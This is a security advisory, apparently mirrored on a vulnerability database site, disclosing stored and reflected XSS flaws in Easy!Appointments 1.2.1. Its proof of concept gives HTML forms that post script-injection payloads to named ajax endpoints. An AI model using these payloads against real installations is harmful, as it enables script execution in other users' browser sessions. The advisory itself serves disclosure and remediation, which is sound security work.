<html><body><p>Easy!Appointments v1.2.1 Multiple Stored XSS Vulnerabilities
Vendor: Alex Tselegidis
Product web page: http://www.easyappointments.org
Affected version: 1.2.1
Summary: Easy!Appointments is a highly customizable web application
that allows your customers to book appointments with you via the web.
Moreover, it provides the ability to sync your data with Google Calendar
so you can use them with other services. It is an open source project
and you can download and install it even for commercial use. Easy!Appointments
will run smoothly with your existing website, because it can be installed
in a single folder of the server and of course, both sites can share
the same database. Learn more about the project in the Features page.
Desc: The application suffers from multiple stored and reflected XSS
vulnerabilities. The issues are triggered when an unauthorized input
passed via multiple POST and GET parameters is not properly sanitized
before being returned to the user. This can be exploited to execute
arbitrary HTML and script code in a user's browser session in context
of an affected site.
Tested on: Apache/2.4.23 (Win32)
OpenSSL/1.0.2h
MariaDB-10.1.19
PHP/5.6.28
Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
@zeroscience
Advisory ID: ZSL-2017-5442
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2017-5442.php
20.10.2017
--
PoC:
{"name":"XSS1","description":"Description"}
</p>
<form action="http://10.211.55.3/easyappointments121/index.php/backend_api/ajax_save_service_category" method="POST">
<input name="csrfToken" type="hidden" value="f5300ab64a4fae7bc3e56f2502905459"/>
<input name="category" type="hidden" value='{"name":"XSS1","description":"Description"}'/>
<input type="submit" value="Submit request"/>
</form>
---
<form action="http://10.211.55.3/easyappointments121/index.php/appointments/ajax_get_available_hours" method="POST">
<input name="csrfToken" type="hidden" value="f5300ab64a4fae7bc3e56f2502905459"/>
<input name="service_id" type="hidden" value='"><script>alert(2)</script>'/>
<input name="provider_id" type="hidden" value="85"/>
<input name="selected_date" type="hidden" value="2017-11-30"/>
<input name="service_duration" type="hidden" value="30"/>
<input name="manage_mode" type="hidden" value="false"/>
<input type="submit" value="Submit request"/>
</form>
---
<form action="http://10.211.55.3/easyappointments121/index.php/appointments/ajax_get_available_hours" method="POST">
<input name="csrfToken" type="hidden" value="f5300ab64a4fae7bc3e56f2502905459"/>
<input name="service_id" type="hidden" value="13"/>
<input name="provider_id" type="hidden" value="85"/>
<input name="selected_date" type="hidden" value="<marquee>"/>
<input name="service_duration" type="hidden" value="30"/>
<input name="manage_mode" type="hidden" value="false"/>
<input type="submit" value="Submit request"/>
</form>
---
<form action="http://10.211.55.3/easyappointments121/index.php/appointments/ajax_register_appointment" method="POST">
<input name="csrfToken" type="hidden" value="f5300ab64a4fae7bc3e56f2502905459"/>
<input name="post_data[customer][last_name]" type="hidden" value="sdadsd"/>
<input name="post_data[customer][first_name]" type="hidden" value="asdasd"/>
<input name="post_data[customer][email]" type="hidden" value="[email protected]"/>
<input name="post_data[customer][phone_number]" type="hidden" value="1112223333"/>
<input name="post_data[customer][address]" type="hidden" value=""/>
<input name="post_data[customer][city]" type="hidden" value=""/>
<input name="post_data[customer][zip_code]" type="hidden" value=""/>
<input name="post_data[appointment][start_datetime]" type="hidden" value='"><script>alert(3)</script>'/>
<input name="post_data[appointment][end_datetime]" type="hidden" value="2017-11-30 16:00:00"/>
<input name="post_data[appointment][notes]" type="hidden" value=""/>
<input name="post_data[appointment][is_unavailable]" type="hidden" value="false"/>
<input name="post_data[appointment][id_users_provider]" type="hidden" value="85"/>
<input name="post_data[appointment][id_services]" type="hidden" value="13"/>
<input name="post_data[manage_mode]" type="hidden" value="false"/>
<input type="submit" value="Submit request"/>
</form>
</body></html>Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation